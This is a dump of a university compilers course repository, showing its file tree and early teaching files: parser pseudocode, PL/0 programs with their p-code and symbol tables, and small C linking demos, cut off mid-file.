├── .gitignore ├── README.md ├── labs ├── 01-17 │ ├── io_redirection.c │ └── slides.pdf ├── 01-31 │ ├── recursive_decent_parser_1.pseudo │ ├── recursive_decent_parser_2.pseudo │ └── slides.pdf ├── 03-07 │ └── hw7-answer │ │ ├── q1.pcode │ │ ├── q1.pl0 │ │ ├── q1_solution.pdf │ │ ├── q2.pcode │ │ ├── q2.pl0 │ │ └── q2_solution.pdf └── 04-04 │ ├── call_param │ ├── call_param.pcode │ ├── call_param.pl0 │ └── call_param.symbol_table │ └── static_scoping │ ├── static_scoping.pcode │ ├── static_scoping.pl0 │ └── static_scoping.symbol_table ├── links.md ├── notes ├── 01-08 │ ├── Class Notes - 01-08-19.pdf │ └── Slides 01-08 intro.pdf ├── 01-10 │ ├── Class Notes - 01-10-19.pdf │ ├── README.md │ └── code │ │ └── linking │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── factorial.c │ │ ├── factorial.h │ │ ├── hello.c │ │ └── run.c ├── 01-15 │ ├── class_notes.md │ └── nestedfunction.pl0 ├── 01-17 │ ├── 01-17 regex.pdf │ └── class_notes.md ├── 01-22 │ ├── 01-22 automata.pdf │ └── Class notes-01-22-2019.pdf ├── 01-24 │ ├── 01-24 lexer.pdf │ └── Class notes-01-24-2019.pdf ├── 01-29 │ ├── 01-29 grammar.pdf │ ├── class_notes.md │ └── diagrams.pdf ├── 01-31 │ ├── 01-31 top-down.pdf │ ├── Makefile │ ├── class_notes.md │ ├── parser.c │ ├── parser2.c │ └── parser_example.png ├── 02-05 │ ├── 02-05 asts.pdf │ └── Class notes-02-05-19.pdf ├── 02-07 │ ├── Class notes-02-07-19.pdf │ ├── expr.md │ └── exprlist.md ├── 02-12 │ ├── README.md │ ├── class_notes.md │ └── lr_parsing.pdf ├── 02-14 │ ├── 02-14 types.pdf │ ├── README.md │ ├── class_notes.md │ ├── dynamic.py │ ├── floatingpoint.md │ ├── static.c │ ├── type_error.pl0 │ ├── typechecker_ast_traversal.pdf │ └── unsafe.c ├── 02-19 │ ├── Class notes-02-19-2019.pdf │ ├── ershov.pl0 2019-02-19 19_30_17.pdf │ ├── function.pl0 2019-02-19 19_29_55.pdf │ ├── typechecking_procedure_example.pdf │ └── unaryexpression.c ├── 02-21 │ └── Class notes-02-21-19.pdf ├── 02-26 │ ├── class-notes-02-26.pdf │ ├── in-class_coding.md │ └── p-code machine.pdf ├── 02-28 │ ├── 02-28 functions.pdf │ ├── Class notes-02-28-2019.pdf │ └── functions.pdf ├── 03-05 │ ├── Class notes-03-05-19.pdf │ ├── functions_and_variables │ │ ├── functions_and_variables.pcode │ │ ├── functions_and_variables.pl0 │ │ └── functions_and_variables.symtab │ └── nested_functions │ │ ├── nested_functions.pcode │ │ ├── nested_functions.pl0 │ │ └── nested_functions.symtab ├── 03-07 │ ├── Class notes-03-07-19.pdf │ ├── classroom_exercise.md │ ├── functions and variables pcode.pdf │ ├── functions and variables.pdf │ └── nested functions.pdf ├── 03-19 │ ├── Class notes-03-19-2019.pdf │ ├── README.md │ ├── codegen.c │ └── ershov.pl0.pdf ├── 03-21 │ ├── class_notes.pdf │ ├── example if statement.pdf │ └── ifthenelse.pl0.pdf ├── 03-28 │ ├── Class notes-03-28-19.pdf │ └── static links.pdf ├── 04-02 │ ├── 04-02 os.pdf │ ├── Class notes-04-02-2019.pdf │ └── README.md ├── 04-04 │ ├── 04-04 control flow.pdf │ ├── Class notes-04-04-2019.pdf │ └── README.md ├── 04-09 │ └── Class notes-04-09-19.pdf ├── 04-11 │ ├── README.md │ └── stack_smashing │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── classic.c │ │ ├── exploit.py │ │ ├── find_ip.py │ │ ├── getenvaddr.c │ │ ├── in.py │ │ ├── normal.txt │ │ └── notes.txt ├── 04-16 │ └── practice final notes.pdf ├── 04-18 │ └── practice final notes 2.pdf └── README.md ├── project ├── README.md ├── ast.md ├── bonus.md ├── codegen.md ├── grammar.md ├── lexer.md ├── overview.md ├── parser.md ├── runtime.md ├── tests │ ├── assign.ast │ ├── assign.pcode │ ├── assign.pl0 │ ├── assign.tokens │ ├── assign.types │ ├── assign.vmout │ ├── assign.vmtrace │ ├── bad_type.ast │ ├── bad_type.pcode │ ├── bad_type.pl0 │ ├── bad_type.tokens │ ├── bad_type.types │ ├── bad_type.vmout │ ├── bad_type.vmtrace │ ├── call.ast │ ├── call.pcode │ ├── call.pl0 │ ├── call.tokens │ ├── call.types │ ├── call.vmout │ ├── call.vmtrace │ ├── complete │ │ ├── factorial.pcode │ │ ├── factorial.pl0 │ │ ├── factorial.vmout │ │ ├── fib.pcode │ │ ├── fib.pl0 │ │ ├── fib.vmout │ │ ├── is_prime.pcode │ │ ├── is_prime.pl0 │ │ ├── is_prime.vmout │ │ ├── palindrome.pcode │ │ ├── palindrome.pl0 │ │ └── palindrome.vmout │ ├── decls.ast │ ├── decls.pcode │ ├── decls.pl0 │ ├── decls.tokens │ ├── decls.types │ ├── decls.vmout │ ├── decls.vmtrace │ ├── digitcount_recursive.ast │ ├── digitcount_recursive.pcode │ ├── digitcount_recursive.pl0 │ ├── digitcount_recursive.tokens │ ├── digitcount_recursive.types │ ├── digitcount_recursive.vmout │ ├── digitcount_recursive.vmtrace │ ├── ershov.ast │ ├── ershov.pcode │ ├── ershov.pl0 │ ├── ershov.tokens │ ├── ershov.types │ ├── ershov.vmout │ ├── ershov.vmtrace │ ├── expressionsbool.ast │ ├── expressionsbool.pcode │ ├── expressionsbool.pl0 │ ├── expressionsbool.tokens │ ├── expressionsbool.types │ ├── expressionsbool.vmout │ ├── expressionsbool.vmtrace │ ├── expressionsint.ast │ ├── expressionsint.pcode │ ├── expressionsint.pl0 │ ├── expressionsint.tokens │ ├── expressionsint.types │ ├── expressionsint.vmout │ ├── expressionsint.vmtrace │ ├── factorial.ast │ ├── factorial.pcode │ ├── factorial.pl0 │ ├── factorial.tokens │ ├── factorial.types │ ├── factorial.vmout │ ├── factorial.vmtrace │ ├── fib.ast │ ├── fib.pcode │ ├── fib.pl0 │ ├── fib.tokens │ ├── fib.types │ ├── fib.vmin │ ├── fib.vmout │ ├── fib.vmtrace │ ├── fib_frames.ast │ ├── fib_frames.pcode │ ├── fib_frames.pl0 │ ├── fib_frames.tokens │ ├── fib_frames.types │ ├── fib_frames.vmin │ ├── fib_frames.vmout │ ├── fib_frames.vmtrace │ ├── fib_series.ast │ ├── fib_series.pcode │ ├── fib_series.pl0 │ ├── fib_series.tokens │ ├── fib_series.types │ ├── fib_series.vmout │ ├── fib_series.vmtrace │ ├── function.ast │ ├── function.pcode │ ├── function.pl0 │ ├── function.tokens │ ├── function.types │ ├── function.vmout │ ├── function.vmtrace │ ├── if.ast │ ├── if.pcode │ ├── if.pl0 │ ├── if.tokens │ ├── if.types │ ├── if.vmout │ ├── if.vmtrace │ ├── ifthenelse.ast │ ├── ifthenelse.pcode │ ├── ifthenelse.pl0 │ ├── ifthenelse.tokens │ ├── ifthenelse.types │ ├── ifthenelse.vmout │ ├── ifthenelse.vmtrace │ ├── isodd_iseven.ast │ ├── isodd_iseven.pcode │ ├── isodd_iseven.pl0 │ ├── isodd_iseven.tokens │ ├── isodd_iseven.types │ ├── isodd_iseven.vmout │ ├── isodd_iseven.vmtrace │ ├── isprime.ast │ ├── isprime.pcode │ ├── isprime.pl0 │ ├── isprime.tokens │ ├── isprime.types │ ├── isprime.vmout │ ├── isprime.vmtrace │ ├── nested.ast │ ├── nested.pcode │ ├── nested.pl0 │ ├── nested.tokens │ ├── nested.types │ ├── nested.vmout │ ├── nested.vmtrace │ ├── palindrome.ast │ ├── palindrome.pcode │ ├── palindrome.pl0 │ ├── palindrome.tokens │ ├── palindrome.types │ ├── palindrome.vmout │ ├── palindrome.vmtrace │ ├── pow.ast │ ├── pow.pcode │ ├── pow.pl0 │ ├── pow.tokens │ ├── pow.types │ ├── pow.vmout │ ├── pow.vmtrace │ ├── project1 │ │ ├── and.pl0 │ │ ├── and.tokens │ │ ├── assign.pl0 │ │ ├── assign.tokens │ │ ├── begin.pl0 │ │ ├── begin.tokens │ │ ├── bool.pl0 │ │ ├── bool.tokens │ │ ├── colon.pl0 │ │ ├── colon.tokens │ │ ├── comma.pl0 │ │ ├── comma.tokens │ │ ├── div.pl0 │ │ ├── div.tokens │ │ ├── do.pl0 │ │ ├── do.tokens │ │ ├── else.pl0 │ │ ├── else.tokens │ │ ├── end.pl0 │ │ ├── end.tokens │ │ ├── eq.pl0 │ │ ├── eq.tokens │ │ ├── false.pl0 │ │ ├── false.tokens │ │ ├── fib.pl0 │ │ ├── fib.tokens │ │ ├── function.pl0 │ │ ├── function.tokens │ │ ├── gt.pl0 │ │ ├── gt.tokens │ │ ├── gte.pl0 │ │ ├── gte.tokens │ │ ├── ident0.pl0 │ │ ├── ident0.tokens │ │ ├── ident1.pl0 │ │ ├── ident1.tokens │ │ ├── ident2.pl0 │ │ ├── ident2.tokens │ │ ├── ident3.pl0 │ │ ├── ident3.tokens │ │ ├── ident4.pl0 │ │ ├── ident4.tokens │ │ ├── if.pl0 │ │ ├── if.tokens │ │ ├── int.pl0 │ │ ├── int.tokens │ │ ├── isprime.pl0 │ │ ├── isprime.tokens │ │ ├── lparen.pl0 │ │ ├── lparen.tokens │ │ ├── lt.pl0 │ │ ├── lt.tokens │ │ ├── lte.pl0 │ │ ├── lte.tokens │ │ ├── minus.pl0 │ │ ├── minus.tokens │ │ ├── mod.pl0 │ │ ├── mod.tokens │ │ ├── mult.pl0 │ │ ├── mult.tokens │ │ ├── neq.pl0 │ │ ├── neq.tokens │ │ ├── nested.pl0 │ │ ├── nested.tokens │ │ ├── not.pl0 │ │ ├── not.tokens │ │ ├── number.pl0 │ │ ├── number.tokens │ │ ├── number0.pl0 │ │ ├── number0.tokens │ │ ├── or.pl0 │ │ ├── or.tokens │ │ ├── palindrome.pl0 │ │ ├── palindrome.tokens │ │ ├── plus.pl0 │ │ ├── plus.tokens │ │ ├── pow.pl0 │ │ ├── pow.tokens │ │ ├── read.pl0 │ │ ├── read.tokens │ │ ├── recursion.pl0 │ │ ├── recursion.tokens │ │ ├── return.pl0 │ │ ├── return.tokens │ │ ├── rparen.pl0 │ │ ├── rparen.tokens │ │ ├── spacing.pl0 │ │ ├── spacing.tokens │ │ ├── then.pl0 │ │ ├── then.tokens │ │ ├── true.pl0 │ │ ├── true.tokens │ │ ├── var.pl0 │ │ ├── var.tokens │ │ ├── while.pl0 │ │ ├── while.tokens │ │ ├── write.pl0 │ │ └── write.tokens │ ├── project2 │ │ ├── error_colon_is_missing.ast │ │ ├── error_colon_is_missing.pl0 │ │ ├── error_do_token_missing.ast │ │ ├── error_do_token_missing.pl0 │ │ ├── exprlist.ast │ │ ├── exprlist.pl0 │ │ ├── factor_false.ast │ │ ├── factor_false.pl0 │ │ ├── factor_ident.ast │ │ ├── factor_ident.pl0 │ │ ├── factor_not.ast │ │ ├── factor_not.pl0 │ │ ├── factor_number.ast │ │ ├── factor_number.pl0 │ │ ├── factor_paren.ast │ │ ├── factor_paren.pl0 │ │ ├── factor_true.ast │ │ ├── factor_true.pl0 │ │ ├── formals.ast │ │ ├── formals.pl0 │ │ ├── funcdels.ast │ │ ├── funcdels.pl0 │ │ ├── statement_assign.ast │ │ ├── statement_assign.pl0 │ │ ├── statement_begin.ast │ │ ├── statement_begin.pl0 │ │ ├── statement_call.ast │ │ ├── statement_call.pl0 │ │ ├── statement_ifelse.ast │ │ ├── statement_ifelse.pl0 │ │ ├── statement_read.ast │ │ ├── statement_read.pl0 │ │ ├── statement_return.ast │ │ ├── statement_return.pl0 │ │ ├── statement_while.ast │ │ ├── statement_while.pl0 │ │ ├── statement_write.ast │ │ ├── statement_write.pl0 │ │ ├── vardecls.ast │ │ └── vardecls.pl0 │ ├── project3 │ │ ├── assignment.pl0 │ │ ├── assignment.types │ │ ├── error_incorrect_op.pl0 │ │ ├── error_incorrect_op.types │ │ ├── error_incorrect_type_assign.pl0 │ │ ├── error_incorrect_type_assign.types │ │ ├── error_return_type.pl0 │ │ ├── error_return_type.types │ │ ├── fuction_param_type.pl0 │ │ ├── fuction_param_type.types │ │ ├── function_retrun_int.pl0 │ │ ├── function_retrun_int.types │ │ ├── function_return_bool.pl0 │ │ ├── function_return_bool.types │ │ ├── glob_loc_vars.pl0 │ │ ├── glob_loc_vars.types │ │ ├── nested_func_vars.pl0 │ │ ├── nested_func_vars.types │ │ ├── params.pl0 │ │ ├── params.types │ │ ├── var_bool.pl0 │ │ ├── var_bool.types │ │ ├── var_int.pl0 │ │ └── var_int.types │ ├── project4 │ │ ├── arithmetic.pcode │ │ ├── arithmetic.pl0 │ │ ├── arithmetic.vmout │ │ ├── assign.pcode │ │ ├── assign.pl0 │ │ ├── assign.vmout │ │ ├── assign_write.pcode │ │ ├── assign_write.pl0 │ │ ├── assign_write.vmout │ │ ├── bge.pcode │ │ ├── bge.pl0 │ │ ├── bge.vmout │ │ ├── bgt.pcode │ │ ├── bgt.pl0 │ │ ├── bgt.vmout │ │ ├── ble.pcode │ │ ├── ble.pl0 │ │ ├── ble.vmout │ │ ├── blt.pcode │ │ ├── blt.pl0 │ │ ├── blt.vmout │ │ ├── bne.pcode │ │ ├── bne.pl0 │ │ ├── bne.vmout │ │ ├── div.pcode │ │ ├── div.pl0 │ │ ├── div.vmout │ │ ├── factorial.pcode │ │ ├── factorial.pl0 │ │ ├── factorial.vmout │ │ ├── func.pcode │ │ ├── func.pl0 │ │ ├── func.vmout │ │ ├── if.pcode │ │ ├── if.pl0 │ │ ├── if.vmout │ │ ├── loop.pcode │ │ ├── loop.pl0 │ │ ├── loop.vmout │ │ ├── minus.pcode │ │ ├── minus.pl0 │ │ ├── minus.vmout │ │ ├── mod.pcode │ │ ├── mod.pl0 │ │ ├── mod.vmout │ │ ├── mult.pcode │ │ ├── mult.pl0 │ │ ├── mult.vmout │ │ ├── nested.pcode │ │ ├── nested.pl0 │ │ ├── nested.vmout │ │ ├── palindrome.pcode │ │ ├── palindrome.pl0 │ │ ├── palindrome.vmout │ │ ├── plus.pcode │ │ ├── plus.pl0 │ │ ├── plus.vmout │ │ ├── recursion.pcode │ │ ├── recursion.pl0 │ │ └── recursion.vmout │ ├── project5 │ │ ├── assign.pcode │ │ ├── assign.pl0 │ │ ├── assign_multiple.pcode │ │ ├── assign_multiple.pl0 │ │ ├── assign_write.pcode │ │ ├── assign_write.pl0 │ │ ├── assign_write_multiple.pcode │ │ ├── assign_write_multiple.pl0 │ │ ├── func_call.pcode │ │ ├── func_call.pl0 │ │ ├── func_decl.pcode │ │ ├── func_decl.pl0 │ │ ├── func_multiple_params.pcode │ │ ├── func_multiple_params.pl0 │ │ ├── func_nested.pcode │ │ ├── func_nested.pl0 │ │ ├── func_nested_call.pcode │ │ ├── func_nested_call.pl0 │ │ ├── func_params_static.pcode │ │ ├── func_params_static.pl0 │ │ ├── func_single_param.pcode │ │ ├── func_single_param.pl0 │ │ ├── funcfactor_assign.pcode │ │ ├── funcfactor_assign.pl0 │ │ ├── multiple_funcs.pcode │ │ ├── multiple_funcs.pl0 │ │ ├── static_scope.pcode │ │ ├── static_scope.pl0 │ │ ├── static_scope_2.pcode │ │ ├── static_scope_2.pl0 │ │ ├── static_scoping_3.pcode │ │ └── static_scoping_3.pl0 │ ├── project6 │ │ ├── expr_and.pcode │ │ ├── expr_and.pl0 │ │ ├── expr_bool_factor.pcode │ │ ├── expr_bool_factor.pl0 │ │ ├── expr_div.pcode │ │ ├── expr_div.pl0 │ │ ├── expr_eq.pcode │ │ ├── expr_eq.pl0 │ │ ├── expr_gt.pcode │ │ ├── expr_gt.pl0 │ │ ├── expr_gte.pcode │ │ ├── expr_gte.pl0 │ │ ├── expr_lt.pcode │ │ ├── expr_lt.pl0 │ │ ├── expr_lte.pcode │ │ ├── expr_lte.pl0 │ │ ├── expr_minus.pcode │ │ ├── expr_minus.pl0 │ │ ├── expr_mod.pcode │ │ ├── expr_mod.pl0 │ │ ├── expr_mult.pcode │ │ ├── expr_mult.pl0 │ │ ├── expr_neq.pcode │ │ ├── expr_neq.pl0 │ │ ├── expr_num_factor.pcode │ │ ├── expr_num_factor.pl0 │ │ ├── expr_or.pcode │ │ ├── expr_or.pl0 │ │ ├── expr_paren.pcode │ │ ├── expr_paren.pl0 │ │ ├── expr_paren2.pcode │ │ ├── expr_paren2.pl0 │ │ ├── expr_paren3.pcode │ │ ├── expr_paren3.pl0 │ │ ├── expr_plus.pcode │ │ ├── expr_plus.pl0 │ │ ├── mix_0.pcode │ │ ├── mix_0.pl0 │ │ ├── mix_1.pcode │ │ ├── mix_1.pl0 │ │ ├── st_compound.pcode │ │ ├── st_compound.pl0 │ │ ├── st_if.pcode │ │ ├── st_if.pl0 │ │ ├── st_if_else.pcode │ │ ├── st_if_else.pl0 │ │ ├── st_if_ladder.pcode │ │ ├── st_if_ladder.pl0 │ │ ├── st_while.pcode │ │ └── st_while.pl0 │ ├── read.ast │ ├── read.pcode │ ├── read.pl0 │ ├── read.tokens │ ├── read.types │ ├── read.vmin │ ├── read.vmout │ ├── read.vmtrace │ ├── recursion.ast │ ├── recursion.pcode │ ├── recursion.pl0 │ ├── recursion.tokens │ ├── recursion.types │ ├── recursion.vmout │ ├── recursion.vmtrace │ ├── scope_shadowing.ast │ ├── scope_shadowing.pcode │ ├── scope_shadowing.pl0 │ ├── scope_shadowing.tokens │ ├── scope_shadowing.types │ ├── scope_shadowing.vmout │ ├── scope_shadowing.vmtrace │ ├── simple.ast │ ├── simple.pcode │ ├── simple.pl0 │ ├── simple.tokens │ ├── simple.types │ ├── simple.vmout │ ├── simple.vmtrace │ ├── spacing.ast │ ├── spacing.pcode │ ├── spacing.pl0 │ ├── spacing.tokens │ ├── spacing.types │ ├── spacing.vmout │ ├── spacing.vmtrace │ ├── undef_var.ast │ ├── undef_var.pcode │ ├── undef_var.pl0 │ ├── undef_var.tokens │ ├── undef_var.types │ ├── undef_var.vmout │ ├── undef_var.vmtrace │ ├── while.ast │ ├── while.pl0 │ ├── while.tokens │ ├── while.types │ ├── whilesum.ast │ ├── whilesum.pcode │ ├── whilesum.pl0 │ ├── whilesum.tokens │ ├── whilesum.types │ ├── whilesum.vmout │ ├── whilesum.vmtrace │ ├── whilex.ast │ ├── whilex.pcode │ ├── whilex.pl0 │ ├── whilex.tokens │ ├── whilex.types │ ├── whilex.vmout │ └── whilex.vmtrace ├── type_specification.md ├── typechecker.md ├── vm.md └── vm_specification.md └── schedule.csv /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | -------------------------------------------------------------------------------- /labs/01-17/io_redirection.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | printf("This goes to standard output.\n"); 6 | 7 | fprintf(stdout, "This goes to standard output, too.\n"); 8 | 9 | fprintf(stderr, "This goes to standard error.\n"); 10 | 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /labs/01-17/slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/labs/01-17/slides.pdf -------------------------------------------------------------------------------- /labs/01-31/recursive_decent_parser_1.pseudo: -------------------------------------------------------------------------------- 1 | main() 2 | { 3 | S(); 4 | 5 | if(current_token != $) { 6 | error(); 7 | } 8 | } 9 | 10 | S() 11 | { 12 | if(current_token == a) { 13 | next_token(); 14 | } else { 15 | error(); 16 | } 17 | 18 | B(); 19 | } 20 | 21 | B() 22 | { 23 | if(current_token == b) { 24 | next_token(); 25 | B(); 26 | } else { 27 | // do nothing 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /labs/01-31/recursive_decent_parser_2.pseudo: -------------------------------------------------------------------------------- 1 | funcdecls() 2 | { 3 | while( current_token == FUNC ) 4 | { 5 | // consume FUNC 6 | next_token(); 7 | 8 | if( current_token != IDENT ) { 9 | error(); 10 | } 11 | 12 | // consume IDENT 13 | next_token(); 14 | 15 | if( current_token != LPAREN ) { 16 | error(); 17 | } 18 | 19 | // consume LPAREN 20 | next_token(); 21 | 22 | // formals is optional 23 | if( current_token == IDENT ) { 24 | // if there is IDENT, it means that there is formals 25 | formals(); 26 | } 27 | 28 | if( current_token != RPAREN ) { 29 | error(); 30 | } 31 | 32 | // consume RPAREN 33 | next_token(); 34 | 35 | // COLON type is optional 36 | if( current_token == COLON ) { 37 | // consume COLON 38 | next_token(); 39 | 40 | // type follows COLON 41 | type(); 42 | } 43 | 44 | block(); 45 | 46 | } 47 | } 48 | 49 | -------------------------------------------------------------------------------- /labs/01-31/slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/labs/01-31/slides.pdf -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q1.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 38 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | br 12 8 | psh ln sp 9 | psh fp sp 10 | mov fp sp 11 | addi sp sp 1 12 | br 1 13 | ld r0 fp 1 14 | wr r0 15 | mov sp fp 16 | pop fp sp 17 | pop ln sp 18 | ret ln 19 | addi sp sp 1 20 | psh fp sp 21 | bl -13 22 | subi sp sp 1 23 | pop r0 sp 24 | read r0 25 | psh fp sp 26 | ld fp fp -2 27 | st r0 fp 1 28 | pop fp sp 29 | mov r0 fp 30 | ld r0 r0 -2 31 | ld r0 r0 1 32 | wr r0 33 | mov r0 fp 34 | ld r0 r0 -2 35 | ld r0 r0 2 36 | wr r0 37 | mov sp fp 38 | pop fp sp 39 | pop ln sp 40 | ret ln 41 | addi sp sp 1 42 | psh fp sp 43 | bl -39 44 | subi sp sp 1 45 | pop r0 sp 46 | hlt 47 | -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q1.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : bool 3 | function f() 4 | function g() 5 | var x : int 6 | begin 7 | write x 8 | end 9 | begin 10 | g() 11 | read x 12 | write x 13 | write y 14 | end 15 | begin 16 | f() 17 | end 18 | -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q1_solution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/labs/03-07/hw7-answer/q1_solution.pdf -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q2.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 39 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | br 1 7 | read r0 8 | psh fp sp 9 | ld fp fp -2 10 | st r0 fp 1 11 | pop fp sp 12 | mov sp fp 13 | pop fp sp 14 | pop ln sp 15 | ret ln 16 | psh ln sp 17 | psh fp sp 18 | mov fp sp 19 | br 1 20 | mov r0 fp 21 | ld r0 r0 -2 22 | ld r0 r0 1 23 | wr r0 24 | mov sp fp 25 | pop fp sp 26 | pop ln sp 27 | ret ln 28 | psh ln sp 29 | psh fp sp 30 | mov fp sp 31 | addi sp sp 1 32 | br 1 33 | read r0 34 | st r0 fp 1 35 | ld r0 fp 1 36 | wr r0 37 | mov sp fp 38 | pop fp sp 39 | pop ln sp 40 | ret ln 41 | addi sp sp 1 42 | psh fp sp 43 | bl -40 44 | subi sp sp 1 45 | pop r0 sp 46 | addi sp sp 1 47 | psh fp sp 48 | bl -20 49 | subi sp sp 1 50 | pop r0 sp 51 | addi sp sp 1 52 | psh fp sp 53 | bl -37 54 | subi sp sp 1 55 | pop r0 sp 56 | hlt 57 | -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q2.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function r() 4 | read x 5 | 6 | function w() 7 | write x 8 | 9 | function rw() 10 | var x : int 11 | begin 12 | read x 13 | write x 14 | end 15 | 16 | begin 17 | r() 18 | rw() 19 | w() 20 | end 21 | -------------------------------------------------------------------------------- /labs/03-07/hw7-answer/q2_solution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/labs/03-07/hw7-answer/q2_solution.pdf -------------------------------------------------------------------------------- /labs/04-04/call_param/call_param.pcode: -------------------------------------------------------------------------------- 1 | br 13 2 | 3 | # prologue 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | 8 | # block starts 9 | br 1 # no function decl 10 | ld r0 fp -4 # load the parameter x 11 | wr r0 # write x 12 | ld r0 fp -5 # load the parameter y 13 | wr r0 # write y 14 | 15 | # epilogue 16 | mov sp fp 17 | pop fp sp 18 | pop ln sp 19 | ret ln 20 | 21 | # main function 22 | 23 | # caller setup 24 | # parameters 25 | addi sp sp 2 # make space for parameters in the stack 26 | movi r0 10 # put 10 to r0 27 | st r0 sp 0 # put first parameter to the stack 28 | movi r0 0 # put false to r0 29 | st r0 sp -1 # put second parameter to the stack 30 | 31 | addi sp sp 1 # make space for the return value 32 | psh fp sp # push the static link to the stack 33 | bl -19 # call 34 | 35 | # tear down the stack frame after returning from function 36 | subi sp sp 1 37 | pop r0 sp 38 | subi sp sp 2 39 | hlt 40 | -------------------------------------------------------------------------------- /labs/04-04/call_param/call_param.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int, y: bool) 2 | begin 3 | write x 4 | write y 5 | end 6 | 7 | f(10, false) 8 | -------------------------------------------------------------------------------- /labs/04-04/call_param/call_param.symbol_table: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : (int, bool) -> void @1 3 | scope: f, level: 1 4 | x : int @-4 5 | y : bool @-5 6 | -------------------------------------------------------------------------------- /labs/04-04/static_scoping/static_scoping.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 # space for global x 2 | br 13 # jump to main 3 | 4 | # prologue 5 | psh ln sp 6 | psh fp sp 7 | mov fp sp 8 | 9 | br 1 # no func decl 10 | 11 | # the variable is from a parent scope, the level difference is 1 12 | # therefore, load static link to frame pointer to reach to the variable 13 | mov r0 fp # put fp to r0 14 | ld r0 r0 -2 # gets the static link from r0 (which is frame pointer) 15 | ld r0 r0 1 # load variable from parent stack frame 16 | wr r0 # write the value of the variable 17 | 18 | # epilogue 19 | mov sp fp 20 | pop fp sp 21 | pop ln sp 22 | ret ln 23 | 24 | # assign 1 to x 25 | movi r0 1 26 | st r0 fp 1 27 | 28 | # caller setup 29 | addi sp sp 1 30 | psh fp sp 31 | bl -16 # call 32 | subi sp sp 1 33 | pop r0 sp 34 | hlt 35 | -------------------------------------------------------------------------------- /labs/04-04/static_scoping/static_scoping.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | function f() 3 | write x 4 | 5 | begin 6 | x := 1 7 | f() 8 | end 9 | -------------------------------------------------------------------------------- /labs/04-04/static_scoping/static_scoping.symbol_table: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | f : () -> void @2 4 | scope: f, level: 1 5 | -------------------------------------------------------------------------------- /links.md: -------------------------------------------------------------------------------- 1 | - Linux command-line 2 | - 3 | - 4 | - 5 | 6 | - C and Makefiles 7 | - 8 | - 9 | - 10 | - 11 | 12 | - Git tutorials: 13 | - 14 | - 15 | - 16 | - 17 | 18 | 19 | - State machines in video games 20 | - 21 | - 22 | - 23 | 24 | - Super Mario Lando credits warp via software exploit 25 | - https://web.archive.org/web/20150204054941/http://deanyd.net/smw/index.php?title=Credits_Warp_Run 26 | - https://www.youtube.com/watch?v=vAHXK2wut_I 27 | 28 | -------------------------------------------------------------------------------- /notes/01-08/Class Notes - 01-08-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-08/Class Notes - 01-08-19.pdf -------------------------------------------------------------------------------- /notes/01-08/Slides 01-08 intro.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-08/Slides 01-08 intro.pdf -------------------------------------------------------------------------------- /notes/01-10/Class Notes - 01-10-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-10/Class Notes - 01-10-19.pdf -------------------------------------------------------------------------------- /notes/01-10/code/linking/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.s 3 | run 4 | -------------------------------------------------------------------------------- /notes/01-10/code/linking/Makefile: -------------------------------------------------------------------------------- 1 | all: run 2 | 3 | run: factorial.o run.o 4 | gcc -o $@ $^ 5 | # gcc -o run factorial.o run.o 6 | 7 | factorial.o: factorial.c 8 | gcc -c factorial.c 9 | 10 | run.o: run.c 11 | gcc -c run.c 12 | 13 | clean: 14 | rm -f run factorial.o run.o 15 | -------------------------------------------------------------------------------- /notes/01-10/code/linking/factorial.c: -------------------------------------------------------------------------------- 1 | int factorial(int x) { 2 | if (x <= 0) { 3 | return 0; 4 | } else { 5 | return x * factorial(x - 1); 6 | } 7 | // factorial is not so great 8 | } 9 | -------------------------------------------------------------------------------- /notes/01-10/code/linking/factorial.h: -------------------------------------------------------------------------------- 1 | extern int factorial(int); 2 | -------------------------------------------------------------------------------- /notes/01-10/code/linking/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(char **argv, int argc) { 4 | printf("hello, world!\n"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /notes/01-10/code/linking/run.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "factorial.h" 3 | 4 | int main() { 5 | int x = 10; 6 | printf("factorial of %d of %d\n", x, 